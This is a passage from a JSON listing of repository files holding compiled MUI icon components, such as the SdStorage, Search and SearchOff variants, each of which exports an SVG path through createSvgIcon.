    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm11 5h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm-3.5 4.5v-1H6V9h5v2H9.5v-.5h-2v1H11V15H6v-2h1.5v.5zm5 0h2v-3h-2z\"\n}), 'SdSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 6h-2V4h2zm3 0h-2V4h2zm3 0h-2V4h2z\"\n}), 'SdStorage');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 6h-2V4h2zm3 0h-2V4h2zm3 0h-2V4h2z\"\n}), 'SdStorage');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v16H6V8.83L10.83 4zm0-2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 7h2v4H9zm3 0h2v4h-2zm3 0h2v4h-2z\"\n}), 'SdStorageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v16H6V8.83L10.83 4zm0-2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 7h2v4H9zm3 0h2v4h-2zm3 0h2v4h-2z\"\n}), 'SdStorageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.6 7.42c-.37.37-.6.88-.6 1.4V20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 6c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m3 0c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m3 0c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'SdStorageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.6 7.42c-.37.37-.6.88-.6 1.4V20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 6c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m3 0c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m3 0c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'SdStorageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-8 6h-2V4h2zm3 0h-2V4h2zm3 0h-2V4h2z\"\n}), 'SdStorageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-8 6h-2V4h2zm3 0h-2V4h2zm3 0h-2V4h2z\"\n}), 'SdStorageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM15 7h2v4h-2zm-3 0h2v4h-2zm-1 4H9V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zM9 7h2v4H9zm3 0h2v4h-2zm3 0h2v4h-2z\"\n}, \"1\")], 'SdStorageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdStorageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM15 7h2v4h-2zm-3 0h2v4h-2zm-1 4H9V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zM9 7h2v4H9zm3 0h2v4h-2zm3 0h2v4h-2z\"\n}, \"1\")], 'SdStorageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zm9-9h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm-7 4h1.5v.5h2v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H9.5v-.5h-2v1H10c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10.5h2v3h-2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H7.5v-1h2v.5H11v-1c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H6v1c0 .55.45 1 1 1m11-1v-4c0-.55-.45-1-1-1h-4v6h4c.55 0 1-.45 1-1m-1.5-.5h-2v-3h2z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"3\")], 'SdTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm9-9h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm-7 4h1.5v.5h2v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H9.5v-.5h-2v1H10c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10.5h2v3h-2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H7.5v-1h2v.5H11v-1c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H6v1c0 .55.45 1 1 1m11-1v-4c0-.55-.45-1-1-1h-4v6h4c.55 0 1-.45 1-1m-1.5-.5h-2v-3h2z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"3\")], 'SdTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Search.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'Search');"
  },
  {
    "path": "packages/mui-icons-material/lib/Search.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'Search');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3 6.08 3 3.28 5.64 3.03 9h2.02C5.3 6.75 7.18 5 9.5 5 11.99 5 14 7.01 14 9.5S11.99 14 9.5 14c-.17 0-.33-.03-.5-.05v2.02c.17.02.33.03.5.03 1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.47 10.82 4 13.29l-2.47-2.47-.71.71L3.29 14 .82 16.47l.71.71L4 14.71l2.47 2.47.71-.71L4.71 14l2.47-2.47z\"\n}, \"1\")], 'SearchOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3 6.08 3 3.28 5.64 3.03 9h2.02C5.3 6.75 7.18 5 9.5 5 11.99 5 14 7.01 14 9.5S11.99 14 9.5 14c-.17 0-.33-.03-.5-.05v2.02c.17.02.33.03.5.03 1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.47 10.82 4 13.29l-2.47-2.47-.71.71L3.29 14 .82 16.47l.71.71L4 14.71l2.47 2.47.71-.71L4.71 14l2.47-2.47z\"\n}, \"1\")], 'SearchOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3 6.08 3 3.28 5.64 3.03 9h2.02C5.3 6.75 7.18 5 9.5 5 11.99 5 14 7.01 14 9.5S11.99 14 9.5 14c-.17 0-.33-.03-.5-.05v2.02c.17.02.33.03.5.03 1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.47 10.82 4 13.29l-2.47-2.47-.71.71L3.29 14 .82 16.47l.71.71L4 14.71l2.47 2.47.71-.71L4.71 14l2.47-2.47z\"\n}, \"1\")], 'SearchOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3 6.08 3 3.28 5.64 3.03 9h2.02C5.3 6.75 7.18 5 9.5 5 11.99 5 14 7.01 14 9.5S11.99 14 9.5 14c-.17 0-.33-.03-.5-.05v2.02c.17.02.33.03.5.03 1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.47 10.82 4 13.29l-2.47-2.47-.71.71L3.29 14 .82 16.47l.71.71L4 14.71l2.47 2.47.71-.71L4.71 14l2.47-2.47z\"\n}, \"1\")], 'SearchOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27c1.2-1.4 1.82-3.31 1.48-5.34-.47-2.78-2.79-4.99-5.58-5.34C6.54 2.58 3.3 5.38 3.03 9h2.02c.24-2.12 1.92-3.8 4.06-3.98C11.65 4.8 14 6.95 14 9.5c0 2.49-2.01 4.5-4.5 4.5-.17 0-.33-.03-.5-.05v2.02l.01.01c1.8.13 3.47-.47 4.72-1.55l.27.28v.79l4.25 4.25c.41.41 1.08.41 1.49 0s.41-1.08 0-1.49z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.12 11.17 4 13.29l-2.12-2.12c-.2-.2-.51-.2-.71 0s-.2.51 0 .71L3.29 14l-2.12 2.12c-.2.2-.2.51 0 .71s.51.2.71 0L4 14.71l2.12 2.12c.2.2.51.2.71 0s.2-.51 0-.71L4.71 14l2.12-2.12c.2-.2.2-.51 0-.71-.2-.19-.51-.19-.71 0\"\n}, \"1\")], 'SearchOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27c1.2-1.4 1.82-3.31 1.48-5.34-.47-2.78-2.79-4.99-5.58-5.34C6.54 2.58 3.3 5.38 3.03 9h2.02c.24-2.12 1.92-3.8 4.06-3.98C11.65 4.8 14 6.95 14 9.5c0 2.49-2.01 4.5-4.5 4.5-.17 0-.33-.03-.5-.05v2.02l.01.01c1.8.13 3.47-.47 4.72-1.55l.27.28v.79l4.25 4.25c.41.41 1.08.41 1.49 0s.41-1.08 0-1.49z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.12 11.17 4 13.29l-2.12-2.12c-.2-.2-.51-.2-.71 0s-.2.51 0 .71L3.29 14l-2.12 2.12c-.2.2-.2.51 0 .71s.51.2.71 0L4 14.71l2.12 2.12c.2.2.51.2.71 0s.2-.51 0-.71L4.71 14l2.12-2.12c.2-.2.2-.51 0-.71-.2-.19-.51-.19-.71 0\"\n}, \"1\")], 'SearchOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3 6.08 3 3.28 5.64 3.03 9h2.02C5.3 6.75 7.18 5 9.5 5 11.99 5 14 7.01 14 9.5S11.99 14 9.5 14c-.17 0-.33-.03-.5-.05v2.02c.17.02.33.03.5.03 1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.47 10.82 4 13.29l-2.47-2.47-.71.71L3.29 14 .82 16.47l.71.71L4 14.71l2.47 2.47.71-.71L4.71 14l2.47-2.47z\"\n}, \"1\")], 'SearchOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3 6.08 3 3.28 5.64 3.03 9h2.02C5.3 6.75 7.18 5 9.5 5 11.99 5 14 7.01 14 9.5S11.99 14 9.5 14c-.17 0-.33-.03-.5-.05v2.02c.17.02.33.03.5.03 1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.47 10.82 4 13.29l-2.47-2.47-.71.71L3.29 14 .82 16.47l.71.71L4 14.71l2.47 2.47.71-.71L4.71 14l2.47-2.47z\"\n}, \"1\")], 'SearchOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3 6.08 3 3.28 5.64 3.03 9h2.02C5.3 6.75 7.18 5 9.5 5 11.99 5 14 7.01 14 9.5S11.99 14 9.5 14c-.17 0-.33-.03-.5-.05v2.02c.17.02.33.03.5.03 1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.47 10.82 4 13.29l-2.47-2.47-.71.71L3.29 14 .82 16.47l.71.71L4 14.71l2.47 2.47.71-.71L4.71 14l2.47-2.47z\"\n}, \"1\")], 'SearchOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3 6.08 3 3.28 5.64 3.03 9h2.02C5.3 6.75 7.18 5 9.5 5 11.99 5 14 7.01 14 9.5S11.99 14 9.5 14c-.17 0-.33-.03-.5-.05v2.02c.17.02.33.03.5.03 1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.47 10.82 4 13.29l-2.47-2.47-.71.71L3.29 14 .82 16.47l.71.71L4 14.71l2.47 2.47.71-.71L4.71 14l2.47-2.47z\"\n}, \"1\")], 'SearchOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'SearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'SearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27c1.2-1.4 1.82-3.31 1.48-5.34-.47-2.78-2.79-5-5.59-5.34-4.23-.52-7.79 3.04-7.27 7.27.34 2.8 2.56 5.12 5.34 5.59 2.03.34 3.94-.28 5.34-1.48l.27.28v.79l4.25 4.25c.41.41 1.08.41 1.49 0s.41-1.08 0-1.49zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'SearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27c1.2-1.4 1.82-3.31 1.48-5.34-.47-2.78-2.79-5-5.59-5.34-4.23-.52-7.79 3.04-7.27 7.27.34 2.8 2.56 5.12 5.34 5.59 2.03.34 3.94-.28 5.34-1.48l.27.28v.79l4.25 4.25c.41.41 1.08.41 1.49 0s.41-1.08 0-1.49zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'SearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'SearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchSharp.mjs",
